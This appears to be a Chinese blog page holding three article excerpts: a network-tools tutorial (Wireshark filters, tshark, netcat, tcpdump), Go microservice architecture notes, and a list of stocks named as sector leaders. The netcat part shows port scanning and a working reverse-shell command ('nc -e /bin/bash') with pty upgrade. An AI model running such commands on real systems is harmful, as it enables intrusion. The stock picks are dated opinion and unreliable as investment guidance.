数据包分析基础

以太网网卡混杂模式和非混杂模式: 混杂模式:不管数据帧中的目的地址是否与自己的地址匹配,都接收 非混杂模式:只接收目的地址相匹配的数据帧,以及广播数据包和组播数据包 在数据包的分析中离不开的工具就是wireshark, 这里整理一下重要的几个功能: 统计-捕获...
继续阅读 »

以太网网卡混杂模式和非混杂模式:


混杂模式:不管数据帧中的目的地址是否与自己的地址匹配,都接收


非混杂模式:只接收目的地址相匹配的数据帧,以及广播数据包和组播数据包


在数据包的分析中离不开的工具就是wireshark, 这里整理一下重要的几个功能:


统计-捕获文件属性

DemgVs.png


在属性里看到数据包的一些基本属性,如:大小,长度,时间


这里关于时间需要注意,这里显示的第一个分组时间并不一定是这个时间发送的,可能是之前就已经发送了,所以这里的第一个分组的时间和最后的分组时间是我们抓包的开始和结束,并不是这个数据包发送的开始和结束


统计-已解析的地址

这个功能会将数据包中的host和port进行整理展示,如下图所示:


DeuA0J.png


DeuE79.png


统计-协议分级

Deumfx.png


这个可以让非常清楚的看到各个协议在整个数据包中占用的比例,这样对于分析数据包是非常有帮助的。如上图中,整个数据包主要是TCP的数据包,在TCP下面可以看到主要是HTTP


过滤器

wireshark 统计中的协议分级是非常重要的,可以很清楚的看到这次捕获的数据主要是什么类型的。


常用的过滤方法:


ip.src == 127.0.0.1 and tcp.port == 8080

ip.src_host == 192.168.100.108

ip.src == 192.168.199.228 and ip.dst eq 192.168.199.228

如果没有指明协议,默认抓取所有协议数据


如果没有指明来源或目的地址,默认使用src or dst


逻辑运算:not and or


not具有最高优先级,or 和 and 具有相同的优先级,运算时从左到右进行


一些简单的例子:


显示目的UDP端口53的数据包:udp.port==53

显示来源ip地址为192.168.1.1的数据包:ip.src_host == 192.168.1.1

显示目的或来源ip地址为192.168.1.1的数据包:ip.addr == 192.168.1.1

显示源为TCP或UDP,并且端口返回在2000-5000范围内的数据包:tcp.srcport > 2000 and tcp.srcport < 5000

显示除了icmp以外的包:not icmp

显示来源IP地址为172.17.12.1 但目的地址不是192.168.2.0/24的数据包:ip.src_host == 172.17.12.1 and not ip.dst_host == 192.168.2.0/24

过滤http的get请求: http.request.method == "GET"
显示SNMP或DNS或ICMP的数据包: snmp || dns || icmp

显示来源或目的IP地址为10.1.1.1的数据包:ip.addr == 10.1.1.1

显示来源不为10.1.2.3 或者目的不为10.4.5.6的数据包:ip.src != 10.1.2.3 or ip.dst != 10.4.5.6

显示来源不为10.1.2.3 并且目的不为10.4.5.6的数据包:ip.src != 10.1.2.3 and ip.dst != 10.4.5.6

显示来源或目的UDP端口号为4569的数据包: udp.port == 4569

显示目的TCP端口号为25的数据包: tcp.dstport == 25

显示带有TCP标志的数据包:tcp.flats

显示带有TCP SYN标志的数据包: tcp.flags.syn == 0x02

Follow TCP Stream

在抓取和分析基于TCP协议的包,从应从角度查看TCP流的内容,在很多时候都是非常有用的。


D1wOXt.png


通过Follow TCP Stream 可以很容易对tcp对数据进行追踪,同时利用文件导出功能可以很容易看到这段数据中的异常


tshark

tshark 可以帮助我们很容易的对抓包中的一些数据进行整合处理,例如如果我们发现tcp数据包中的urg 紧急指针位有问题,存在异常流量,如果想要快速把数据进行解析,这个时候tshark就是一个很好的工具


tshark -r aaa.pcap -T fileds -e tcp.urgent_pointer | egrep  -vi "^0$" | tr '\n' ','

将过去的数据通过python程序就可以很容易取出


root@kali:~# python3
Python 3.7.4 (default, Jul 11 2019, 10:43:21)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = [67,84,70,123,65,110,100,95,89,111,117,95,84,104,111,117,103,104,115,95,73,116,95,87,97]
>>> print("".join([chr(x) for x in a]))
CTF{And_You_Thoughs_It_Wa
>>>

NC

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,


netcat所做的就是在两台电脑之间建立链接并返回两个数据流。


root@kali:~# nc -h
[v1.10-41.1]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
root@kali:~#

下面是关于nc常用功能的整理


端口扫描

root@kali:~# nc -z -v -n 192.168.1.109 20-100
(UNKNOWN) [192.168.1.109] 22 (ssh) open
root@kali:~# nc -v 192.168.1.109 22
192.168.1.109: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.1.109] 22 (ssh) open
SSH-2.0-OpenSSH_6.6.1

Protocol mismatch.
root@kali:~#

可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.


一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。


Chat Server

nc 也可以实现类似聊天的共能


在server端执行监听:


[root@localhost ~]# nc -l 9999
i am client
i am server
hahahahah

在客户端执行如下:


root@kali:~# nc 192.168.1.109 9999
i am client
i am server
hahahahah

简单反弹shell

在服务端执行:


[root@localhost ~]# nc -vvl 9999
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.1.104.
Ncat: Connection from 192.168.1.104:49804.
ls
a.txt
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
python -c 'import pty;pty.spawn("/bin/bash")'
root@kali:~# ls
ls
a.txt Documents Music Public Videos
Desktop Downloads Pictures Templates
root@kali:~#

客户端执行:


root@kali:~# nc -e /bin/bash 192.168.1.109 9999

这样我们在服务端就得到了客户端的shell权限


同时为了获得交互式的shell,可以通过python简单实现:


python -c 'import pty;pty.spawn("/bin/bash")'


文件传输

nc也可以实现文件传输的功能


在服务端:


[root@localhost ~]# nc -l 9999 < hello.txt 
[root@localhost ~]#

在客户端通过nc进行接收


root@kali:~# nc -n 192.168.1.109 9999 > test.txt
root@kali:~# cat test.txt
hello world
root@kali:~#

加密发送的数据

nc 是默认不对数据加密的,如果想要对nc发送的数据加密


在服务端:


nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

客户端:


mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

使用mcrypt工具解密数据。


以上两个命令会提示需要密码,确保两端使用相同的密码。


这里是使用mcrypt用来加密,使用其它任意加密工具都可以。


TCPDUMP

tcpdump 是linux上非常好用的抓包工具,并且数据可以通过wireshark 分析工具进行分析


tcpdump -D 可以查看网卡列表


root@kali:~# tcpdump -D
1.eth0 [Up, Running]
2.lo [Up, Running, Loopback]
3.any (Pseudo-device that captures on all interfaces) [Up, Running]
4.nflog (Linux netfilter log (NFLOG) interface) [none]
5.nfqueue (Linux netfilter queue (NFQUEUE) interface) [none]
6.bluetooth0 (Bluetooth adapter number 0) [none]
root@kali:~#

-c : 指定要抓包的数量


-i interface: 指定tcpdump需要监听的端口,默认会抓取第一个网络接口


-n : 对地址以数字方式显示,否则显示为主机名


-nn: 除了-n的作用外,还把端口显示未数值,否则显示端口服务名


-w: 指定抓包输出到的文件


例如:


抓取到本机22端口包:tcpdump -c 10 -nn -i ens33 tcp dst port 22

收起阅读 »

Go进阶笔记-微服务概览与治理

基本上在产品的最开始阶段,为了快速构建产品,都是单体架构,尽快我们也会按照业务划分模块,但是这个样子始终最终部署的时候还是单体式应用。如我们早期可以使用Python 的Django快速迭代一个web应用,我们会在Django中划分不同的模块,也就是Django...
继续阅读 »

基本上在产品的最开始阶段,为了快速构建产品,都是单体架构,尽快我们也会按照业务划分模块,但是这个样子始终最终部署的时候还是单体式应用。
如我们早期可以使用Python 的Django快速迭代一个web应用,我们会在Django中划分不同的模块,也就是Django中的app。
而随着业务的迭代发展,项目越来越复杂,可能就会导致应用的扩展,可靠性越来越低,最终导致敏捷开发和自动化部署变得无法完成。

微服务定义

关于SOA



面向服务的架构(SOA)是一个组件模型,它将应用程序的不同功能单元(称为服务)进行拆分,并通过这些服务之间定义良好的接口和协议联系起来。接口是采用中立的方式进行定义的,它应该独立于实现服务的硬件平台、操作系统和编程语言。这使得构建在各种各样的系统中的服务可以以一种统一和通用的方式进行交互。



所以我们可以把微服务看做是SOA的一种实践:


  • 小即是美:小的服务代码少,bug也少,易于测试,易于维护,也更容易不断迭代完善。
  • 单一职责:一个服务只需要干好一件事情,专注才能做好。

什么是微服务?

围绕业务功能构建的,服务关注单一业务,服务间采用轻量级的通信机制,可以全自动独立部署,可以使用不同的编程语言和数据存储技术。微服务架构通过业务拆分实现服务组件化,通过组件组合快速开发系统,业务单一的服务组件又可以独立部署,使整个系统变得清晰灵活。


  • 原子服务
  • 独立进程
  • 隔离部署
  • 去中心化服务治理

注意:基础设施的建设,复杂度高。


自己的理解:


  • 简单说就是微小的服务或应用,比如linux上的各种工具:ls,cat,awk等
  • 微服务就是让每个小的服务专注的做好一件事
  • 每个服务单独开发和部署,服务之间是完全隔离的

微服务的优缺点

微服务也不是万金油,并不是所有的情况都需要做成微服务,同时微服务也有自己的缺点或者说微服务也会带来一些问题:


  • 微服务应用是分布式系统,因此系统必然会比单体应用的时候复杂:开发者不得不适用RPC或者消息传递来实现进程间通信;必须要写代码来处理消息传递中速度过慢或者服务不可用等局部失效问题。
  • 分区的数据库架构,同时更新多个业务主体的事务很普遍。这种事务对单体式应用来说很容易,因为只有一个数据库。在微服务架构中,需要更新不同服务使用的不同的数据库,从而对开发者提供了更高的要求和挑战。
  • 测试一个基于微服务的应用也变的很复杂。
  • 服务模块的依赖,应用的升级可能会涉及多个服务模块的修改。

优点:


  • 迭代周期短,极大的提升开发效率
  • 独立部署,独立开发
  • 可伸缩性好,能够针对指定的服务进行伸缩
  • 故障隔离,不会相互影响

缺点:


  • 复杂度增加,一个请求往往要经过多个服务,请求链路比较长
  • 监控和定位问题困难
  • 服务管理比较复杂

组件化服务

微服务的核心是组件化服务,通过将之前复杂的巨石机构,拆分成不同的服务,来实现组件化。即将应用拆散为一系列的服务运行在不同的进程中。单一的服务变化只需要重新部署对应的服务进程。


区中心化

  • 数据去中心化
  • 治理去中心化
  • 技术去中心化

注:治理区中心化,可以理解为消除架构中的热点,例如,我们通常在架构中使用的Nginx,所有的流量都会先经过Nginx,虽然也可以扩容,但是相对来说收益就比较低。


每个服务独享自身的数据存储设施(缓存,数据库等),而不是像传统应用共享一个缓存和数据库,这样有利于服务的独立性,隔离相关干扰。


基础设施自动化

无自动化不微服务。自动化包括测试和部署。
单一进程的传统应用被拆分为一系列的多进程服务后,意味着开发,调试,测试,监控和部署的复杂度会增加,必须要有合适的自动化基础设施来支持微服务架构,否则开发和运维的成本会大大增加。

  • CICD
  • Testing
  • K8s

落地微服务的关键因素


配套设施:


  • 微服务框架研发和维护
  • 打包,版本管理,上线平台支持
  • 硬件层支持,比如容易和容器调度
  • 服务治理平台支持,比如分布式链路追踪和监控
  • 测试自动化支持,比如上线前自动化case

组织架构


  • 微服务框架开发团队
  • 私有云研发团队
  • 测试平台研发团队

硬件层架构

JHhJAI.png

可用性 & 兼容性设计

微服务架构采用粗力度的进程间通信。关于可用性和兼容性主要包含以下方面:


  • 隔离
  • 超时控制
  • 负载保护
  • 限流
  • 降级
  • 重试
  • 负载均衡

注意:服务的提供者的变更可能引发服务消费者的兼容性破坏,时刻谨记服务契约的兼容性。
总结一句话:发送时要保守,接收时要开放。

微服务设计

API Gateway

常见的开源网关:Kong, APSix,


面向用户场景的API,而不是面向资源的API


BFF(Backend for Frontend) 可以认为是一种适配服务,将后端的微服务进行适配(主要包括聚合裁剪和适配逻辑),向无线端设备暴露友好和统一的API,方便无线设备介入访问后端服务。


BFF 可以理解为主要进行数据的组装,业务场景的聚合API


网关在微服务架构中承担着非常重要的角色,它是解偶拆分和后续升级的利器。在网关的配合下,单块BFF 实现解偶拆分,各业务团队可以独立开发和交付各自的微服务。
把跨横切面逻辑从BFF 剥离到网关上,BFF的开发可以更加专注于业务逻辑交付。实现架构上的关注分离。

Mircoservice划分

相对来说有两种不同不同的划分服务边界:通过业务职能(Business Capability)划分和DDD的限界上下文(Bounded Context)


Business Capability: 由公司内部不同部门提供的只能
Bounded Context:这里的业务边界的含义是“解决不同业务问题”的问题域和对应的解决方案域,为了解决某种类型的业务问题,贴近领域知识,也就是业务。

DDD 通过领域对象之间的交互实现业务逻辑与流程,并通过分层的方式将业务逻辑剥离出来,单独进行维护,从而控制业务本身的复杂度。


注意:微服务与微服务之间不是通过数据耦合的,所以微服与微服务之间都是通过接口调用,一定不是通过数据,服务与服务之间数据是隔离的。


什么是CQRS

CQRS — Command Query Responsibility Segregation,故名思义是将 command 与 query 分离的一种模式。


CQRS 将系统中的操作分为两类,即「命令」(Command) 与「查询」(Query)。命令则是对会引起数据发生变化操作的总称,即我们常说的新增,更新,删除这些操作,都是命令。而查询则和字面意思一样,即不会对数据产生变化的操作,只是按照某些条件查找数据。


CQRS 的核心思想是将这两类不同的操作进行分离,然后在两个独立的「服务」中实现。这里的「服务」一般是指两个独立部署的应用。在某些特殊情况下,也可以部署在同一个应用内的不同接口上。


Command 与 Query 对应的数据源也应该是互相独立的,即更新操作在一个数据源,而查询操作在另一个数据源上。


Mircoservice安全

关于外网的请求,通常在API Gateway进行统一的认证拦截,认证成功后,使用JWT方式通过RPC元数据传递的方式带到BFF层,BFF校验Token完整性后把身份信息注入到应用的Context中,BFF到其他下层的微服务,建议是直接在RPC Request中带入用户身份信息(UserID)请求服务


对于服务内部,一般要区分身份认证和授权


对于身份认证:如果是gRPC,可以很容易进行身份认证,如:证书…
对于授权:通过配置中心做一个RBAC的服务,下发到服务,服务加载的时候就可以很容易构建一个RBAC的认证,从而判断这个请求是否有权限。

gRPC && 服务发现

  • 多语言:语言中立,支持多种语言
  • 轻量级,高性能:序列化支持PB(Protocol Buffer) 和JSON, PB是一种语言无关的高性能序列化框架
  • 可插拔
  • IDL:基于文件定义服务,通过proto3工具生成指定语言的数据结构/服务端接口以及客户端Stub
  • 设计理念:如元数据的传递
  • 移动端:基于标准的HTTP2设计,支持双向流,消息头压缩,单TCP的多路复用/服务端推送等特性。
  • 服务而非对象,消息而非引用:促进微服务的系统间粗粒度消息交互设计理念
  • 负载无关的:不同的服务需要使用不同的消息类型和编码
  • 流:streaming API
  • 阻塞式和非阻塞式:支持异步和同步处理在客户端和服务端交互的消息序列
  • 元数据交换:常见的横切关注点,如认证或追踪,依赖数据交换。
  • 标准化状态码:客户端通常以有限的方式响应API调用返回的错误

Health Check

gRPC 有一个标准的健康监测协议,在gRPC的所有语言实现中基本都提供了生成代码合用于设置运行状态的功能。


主动健康检查可以在服务提供者服务不稳定时,被消费者所感知,临时从负载均衡中摘除,减少错误请求。当服务提供这重新稳定后,health check 成功,重新假如到消费者的负载均衡中,回复请求,health check 同样也被用于外挂方式的容器健康检测,或者流量检测


healthCheck 可以做什么 ?


  • 在我们的服务注册与发现中,假如服务的提供者Provider到Discoery 之间通信时正常的,但是我们的服务调用者Consumer到服务提供者Provider之间出现网络问题,这个时候如果没有健康检查,我们的服务调用这就会继续调用,但是这个时候其实是会调用失败的,而healthCheck 就可以避免这种情况的发生。它会对从Discoery中获取到的Provider进行健康检查,虽然Discoery中有这个Provider,但是如果健康检查有问题,那么就会把这个provider进行剔除。避免调用失败的问题。


  • 平滑发布


服务发现

CAP原理


  • C: consistency, 一致性,每次总是能够读到最近写入的数据或者失败
  • A: available, 每次请求都能读到数据
  • P: partition tolerance 分区容忍,不管任意个消息由于网络原因失败,系统都能能够继续工作

CAP原理中,P是必须满足的,C 和A 可以根据业务需要选择,要么是CP系统,要么是AP系统


客户端发现


一个服务实例启动时,它的网络地址会被注册到注册中心,当服务实例终止时,再从注册中心删除。这个服务实例的注册表通过心跳机制动态刷新;客户端使用一个负载均衡算法,去选择一个可用的服务实例,来响应这个请求。


服务端发现


客户端通过负载均衡器向一个服务发送请求,这个负载均衡器会查询服务注册表,并将请求路由到可用的服务实例上。服务实例在服务注册表上被注册和注销


DNhMgH.jpg


对比两种服务发现:


  • 客户端发现:直连,比服务端服务发现少一次网络跳转,Consumer需要内置特定的服务发现客户端和发现逻辑。
  • 服务端发现:Consumer无需关注服务发现具体细节,只需要知道服务的DNS域名即可,支持异构语言开发,需要基础设施支撑,多了一次网络跳转,可能有性能损失。

注意:微服务的和兴是去中心化,所以相对来说使用客户端服务发现模式比较好


推荐的服务发现:
https://nacos.io/zh-cn/docs/what-is-nacos.html
https://github.com/bilibili/discovery 学习一下代码


服务发现中的保护机制:


  • 如果发现短时间内大量服务提供这下线,会开启自我保护模式。这个时候不会剔除服务。
  • 如果服务消费者和服务注册中心通信故障,这个时候本身服务消费者会缓存配置,即使短时间内通信故障也不会有太大影响。

多集群 & 多租户

对于特别重要的服务通常是要考虑多级群。


  • 从单一集群考虑,多个节点保证可用性,我们通常使用N+2的方式来冗余节点。
  • 从单一集群故障带来的影响面角度考虑冗余多套集群。
  • 单个机房内的机房故障导致的问题。

多套冗余的集群对应多套独占的缓存,带来更好的性能和冗余能力
尽量避免业务隔离使用或者sharding带来的cache hit影响(按照业务划分集群资源)

但是这里会有一个问题需要考虑:
根据不同的业务划分集群后,如果其中一个业务的进群挂了之后,将流量切到正常集群的时候,这个时候因为独占缓存,所以就会导致产生到两的cache miss 透传到DB,这个时候DB的压力会瞬间变大。

解决办法:可以和所有集群建立连接,通过负载均衡的方式,这样请求就会均摊的打到不同的集群中
上,从而防止缓存击穿的情况。

注意这里还有一个问题:
对于服务中的个别服务可能会存在有大量的其他服务都会依赖这个服务的情况,如帐号服务,那么这个时候health check 的检查可能会占用一定的资源,并且随着规模的增加,光health check 就会占用非常高的资源,如何解决这个问题呢?

是否可以从全集群中选取一批节点(子集),利于划分子集限制连接池大小?


通常20-100个后端,部分场景需要大子集,比如批量读写操作。
后端平均分给客户端。
客户端重启,保持重新均衡,同时对后端重启保持透明,同时连接的变动最小。

需要思考这个算法的实现。


多租户


在一个微服务架构中允许系统共存是利用微服务稳定性及模块化最有效的方式之一。这种方式一般被称为多租户。租户卡一是测试,金丝雀发布,影子系统,甚至服务层或产品线,使用租户能够保证代码的隔离性并且能够基于流量租户做路由决策。



多租户就是解决RPC的路由或者叫做RPC染色


并行测试需要一个和生产环境一样的过渡(staging)环境,并且知识用来处理测试流量。在并行测试中,工程师团队首先完成生产服务的一次变动,然后将变动的代码部署到测试栈,这种方法可以在不影响生产环境的情况下让开发者稳定的测试服务,同时能够在发布前更容易的识别和控制bug,尽管并行测试是一种非常有效的集成测试方法,但是它也带来了一些可能影响服务架构成功的挑战:


  • 混用环境导致的不可靠测试
  • 多套环境带来的硬件成本
  • 难以做负载测试,仿真线上真实流量情况

使用这种方法(内部叫染色发布),我们可以把待测试的服务 B 在一个隔离的沙盒环境中启动,并且在沙盒环境下可以访问集成环境(UAT) C 和D。我们把测试流量路由到服务 B,同时保持生产流量正常流入到集成服务。服务 B 仅仅处理测试流量而不处理生产流量。另外要确保集成流量不要被测试流量影响。生产中的测试提出了两个基本要求,它们也构成了多租户体系结构的基础:


  • 流量路由:能够基于流入栈中的流量类型做路由。
  • 隔离性:能够可靠的隔离测试和生产中的资源,这样可以保证对于关键业务微服务没有副作用。

DUeeCq.png


这里可以理解为,对于不同的流量区别对待,对于测试的流量,也会在请求的时候带上对应的染色标记,这样到达系统的时候就会根据不同的染色标记走不同的路由,路由到具有相同染色的服务上。


小结

  • 对于微服整体有一认识
  • 对于公司现有系统架构的一些思考,可以跟着课程的深入学习,慢慢对公司现有架构整理出自己的意见和一些可行性的方案

需要关注的书籍与链接:


收起阅读 »

A股最具价值细分行业龙头股

一、大医药1.抗肿瘤创新药(生物制药)恒瑞医药(SH:600276),贝达药业(SZ:300558),中国生物制药(HK:01177),翰森制药(HK:03692),信达生物(HK:01801),百济神州(HK:06160),君实生物(HK:01877),齐鲁...
继续阅读 »

一、大医药

1.抗肿瘤创新药(生物制药)

恒瑞医药(SH:600276),贝达药业(SZ:300558),中国生物制药(HK:01177),翰森制药(HK:03692),信达生物(HK:01801),百济神州(HK:06160),君实生物(HK:01877),齐鲁制药


2. CRO(CXO)为新药研发提供临床试验全过程专业服务的合同研究组织

药明康德(SH:603259),泰格医药(SZ:300347),康龙化成(SZ:300759),凯莱英(SZ:002821),药石科技(SZ:300725),药明生物(HK:02269),昭衍新药(SH:603127)


3.生物疫苗

长春高新(SZ:000661),智飞生物(SZ:300122),康泰生物(SZ:300601),沃森生物(SZ:300142),华兰生物(SZ:002007)


4.眼科医疗服务

爱尔眼科(SZ:300015),欧普康视(SZ:300595)


5.口腔医疗服务

通策医疗(SH:600763),美亚光电(SZ:002690),正海生物(SZ:300653)


6.高端医疗器械

迈瑞医疗(SZ:300760),健帆生物(SZ:300529)


7.高值医用耗材

乐普医疗(SZ:300003),大博医疗(SZ:002901),凯利泰(SZ:300326),信立泰(SZ:002294)


8.体外诊断

安图生物(SH:603658),金域医学(SH:603882),新产业(SZ:300832),艾德生物(SZ:300685),迈克生物(SZ:300463),万孚生物(SZ:300482)


9.连锁药房

益丰药房(SH:603939),大参林(SH:603233),一心堂(SZ:002727),老百姓(SH:603883)


10. 超级名牌中药

片仔癀(SH:600436),云南白药(SZ:000538)


11.原料药

司太立(造影剂大王-SH:603520),天宇股份(SZ:300702),普利制药(SZ:300630)


二、大消费

1、白酒

一线白酒:
贵州茅台:高端白酒第一品牌, A股”股王”。

五粮液:浓香型白酒第一品牌,将受益于改革红利的释放。


泸州老窖:高端白酒龙头之一,国窖1573是国内唯一的浓香型有机白酒


二线白酒:
山西汾酒:清香型白酒龙头,山西省内白酒龙头,市占率超50%,省外市场基本实现全国化。

洋河股份:江苏省内白酒龙头,省内市占率第一,布局全国化


三线白酒:
老白干酒:河北地区优质白酒企业(河北省占率12%),旗下拥有知名品牌“衡水老白干”,独有老白干香型

金徽酒:甘肃优质白酒龙头(甘肃市占率20%),旗下拥有“金徽”、“陇南春”两大品牌


2. 啤酒

青岛啤酒:全国份额第二的啤酒厂商(占比15%),旗下青岛啤酒品牌价值多年保持中国啤酒行业品牌价值第一。


重庆啤酒:控股股东嘉士伯注入品牌及资产后成为全国份额第五的啤酒厂商(占比6%),在西部地区为强势品牌。


珠江啤酒:全国份额第六的啤酒厂商(占比4%),在南方为强势品牌。


3、乳制品

伊利股份:国内最大的乳制品企业,在各类型乳制品赛道均为市场龙头,拥有“金典”等高端品牌。


光明乳业:全国乳制品龙头,各类乳制品销售收入居全国第三位。


新乳业: 低温奶新动力


4、调味品

海天味业:全国最大的调味品龙头企业,产品涵盖酱油、蚝油、食醋等多种调味品,酱油产销量22年稳居第一。


恒顺醋业:国内食醋第一品牌,四大名醋香醋的代表拳头产品食醋连续20年销量全国领先。


5、榨菜卤制品面包

涪陵榨莱:主导产品为乌江牌系列榨菜,为中国最大的榨菜加工企业,榨莱腌菜制品全国市场占有率第一。


绝味食品:卤制品行业内的龙头,门店数量、收入规模均为行业第一。


桃李面包:短保面包行业寡头,在短保面包行业的市占率约37%。


6、休闲食品

良品铺子:高端零食品牌,主营休闲食品的研发、采购、销售和运营,通过数字化技术优化了供应链管理及全渠道销。


洽洽食品:炒货行业龙头,葵花子市占率第一。


三只松鼠:休闲零食电商龙头品牌。


7、速冻食品

安井食品:专注于火锅料制品、速冻米面制品的相关业务,并在人造肉、植物蛋白领域有相关投入。


三全食品:专注于速冻米面领域,产品包括速冻汤园、速冻水饺、速冻粽子等,2019年10月进行股票回购


8、肉制品

双汇发展:双汇是中国最大的肉类加工基地,养殖到运输全产业链覆盖,品牌价值连续20多年居中国肉类行业第一。


金字火腿:金华火腿行业龙头企业,旗下食品城是浙江冷冻食品的集散中心,人造肉产品已经在售。


双塔食品:全球最大的豌豆蛋白生产商之一,是全球最大的人造肉生产商Beyond Meat的供应商。


9、面条麦片

克明面业:中高端挂面龙头,有300多个品种的挂面产品,品牌在超市渠道市占靠前。


西麦食品:国产燕麦龙头,市占率第二名。


10、保健品

汤臣倍健:国内营养保健品龙头企业,产品涵盖蛋白质粉、液体钙等,拥有“汤臣倍健”、”健力多”等品牌。


11、餐饮店

全聚德:中式餐饮龙头,涵盖烤鸭类产品、即食休闲类产品、中秋月饼、仿膳糕点、汤圆、酱类等。


12、家用电器

白电:


美的集团:产品涵盖空调、冰箱、洗衣机、小家电等诸多领域,各类产品市占率靠前,多元化效应显著。


格力电器:注于空调领域,空调市占率长年位居全国前列,产业链覆盖上下游,是空调领域的绝对龙头。


黑电:


海信视像:专注于显示产品的相关业务,激光电视龙头企业,推出过全行业首款75寸激光电视产品。


小家电:


苏泊尔:国内厨房小家电龙头之一,产品涵盖电饭煲、电磁炉、压力锅等,市占率长期居国内前列。


九阳股份:国内厨房小家电龙头之一,食品加工机领域突出,渠道下沉持续进行。


新宝股份:小家电出口龙头之一,咖啡机、烤箱等产品出口份额长期居第一位,拥有多个爆款产品。


小熊电器:国内著名的“创意小家电”企业,产品涵盖养生壶、酸奶机等,具有较强的新品开发能力。


厨电:


老板电器:专注于厨房电器的研发、生产、销售业务,产品涵盖抽油烟机、燃气灶等,油烟机多年全国销量第一。


13、家居

索菲亚:中国定制衣柜行业的第一品牌。


欧派家居:整体厨柜领域龙头企业,在整体家居行业中具有较高的知名度。


江山欧派:国内首家木门上市公司,与恒大、万科、保利等战略合作。


顾家家居:全球最大的软体家居运营商之一。


公牛集团:以转换器、墙壁开关插座为核心的民用电工产品龙头。


水星家纺:中高档被芯、枕芯等床上用品龙头,2019年电商”618”活动中,在天猫平台连续五年取得品牌行业销第一。


14、免税

中国中免:全球第四大免税业务运营商,我国免税店龙头企业。孙公司中免海南将扩大公司离岛免税业务规模。


王府井:百货业全国性连锁零售企业,获财政部授予免税品经营资质,允许公司经营免税品零售业务。


15、旅游酒店

锦江酒店:国内酒店龙头,酒店和客房数量居行业第一,实际控制人为上海市国资委。


首旅酒店:国内酒店龙头主要品牌为如家、莫泰,行业市占第三,实控人为北京市国资委。


宋城演艺:中国最大的演艺集团之一,拥有现场演艺、互联网演艺和旅游休闲三大板块。拥有宋城旅游、珠海宋城演艺谷等景区。


16、商贸零售

永辉超市:全国性超市龙头,在全国24个省市已发展超700家连锁超市,是业内少数持续扩张,并大部分能盈利的超市企业。


百联股份:经营网点遍布全国20多个省市超过5000个,涵盖了零售业各种业态,如百货、超市、大卖场、便利店、购物中心、品牌折扣店、专业专卖店等。


老凤祥:中国首饰业最老牌、规模最大、门类最全的珠宝首饰龙头企业;控股股东为上海国资委。


17、美妆

珀莱雅:国产护肤品龙头,旗下拥有珀莱雅、悦芙媞、猫语玫瑰等品牌。


上海家化:主营美容护肤、个人护理、家居护理产品的研发、生产和销售,主要品牌包括六神、佰草集、玉泽、双妹等。


丸美股份:国产眼霜龙头,旗下拥有丸美、春纪、恋火等品牌,国际奢侈品龙头LVMH为大股东之一。


华熙生物:全球玻尿酸原料龙头,市占40%,近年发力护肤品品牌润百颜、夸迪、推出爆款故宫口红。


18、电商运营

壹网壹创:美妆个护类电商代运营龙头,主要合作客户有百雀羚、OLAY等国内外大牌。


青松股份:原主业为松节油加工,18年收购我国化妆品代工龙头诺斯贝尔后,面膜及护肤品占营收一半以上。


19、服装

海澜之家:国内男装龙头企业,2017年与天猫展开全面战略合作,2018年腾讯耗资25亿元战略入股服装。


比音勒芬:主营自有品牌比音勒芬服饰,品牌积淀已有16年时间。


20、电影

中国电影:国内电影市场唯一产业链全覆盖的公司,拥有唯一的进口影片引进权,唯二的进口影片发行权。


万达电影:国内最大的院线公司,收购了澳大利亚第二大院线。旗下另有万达传媒、传奇影业等制片公司。


光线传媒:国内最大的民营电影电视制作和运营商,覆盖影视剧、动漫等领域、持有猫眼文化19%股份。


华策影视:头部电视剧龙头,产能规模稳居全行业第一,拥有电视剧+网剧+电影+游戏的泛娱乐产业能力。


芒果超媒:在视频行业排名第四,也是主流视频网站中唯一盈利的公司,实控人为湖南广电,属于地方国有企业。


21、网红

星期六:收购遥望网络切入后开展网红达人在抖音、快手、淘宝、小红书等平台的直播、营销业务。


天下秀:获评为独角兽企业,主要股东为新浪集团,自主研发的系统能高效匹配广告主与适合代言的网红。


22、网文

中文在线:目内最大的正版数字内容提供商之一;在数字阅读方面排名行业第二。


掌阅科技:在我国数字阅读行业排名第三,有声书业务发展快速。


23、宠物

中宠股份:全球知名宠物食品运营商,涵盖宠物零食和主粮两大类,产品销往全球50多个国家和地区。


佩蒂股份:专营宠物营养保健型食品,产品主要销往北美、欧盟、日本等地


三、大科技

1、芯片(设备材料):天风证券的台柱子,曾经的电子行业白金分析师,赵晓光先生一直力推芯片上游的设备和材料,他认为下游的崛起必然会带动上游的崛起。


重点:北方华创(中军),中微公司(中军),沪硅产业(龙头),至纯科技,万业企业,芯源微,精测电子,赛腾股份,天通股份,中环股份,飞凯材料


2、芯片(光刻机):光刻机是国产替代的最难啃的硬骨头,也是最关键的一环。其中光刻胶和光刻气也属于芯片上游材料。 重点:南大光电(龙头),上海新阳,容大感光,晶瑞股份,雅克科技,华特气体,福晶科技,清溢光电,菲利华


3、芯片(IGBT):IGBT应用范围广,尤其在新能源车应用,成长空间大。


重点:斯达半导(中军),闻泰科技,扬杰科技,捷捷微电,台基股份,华微电子


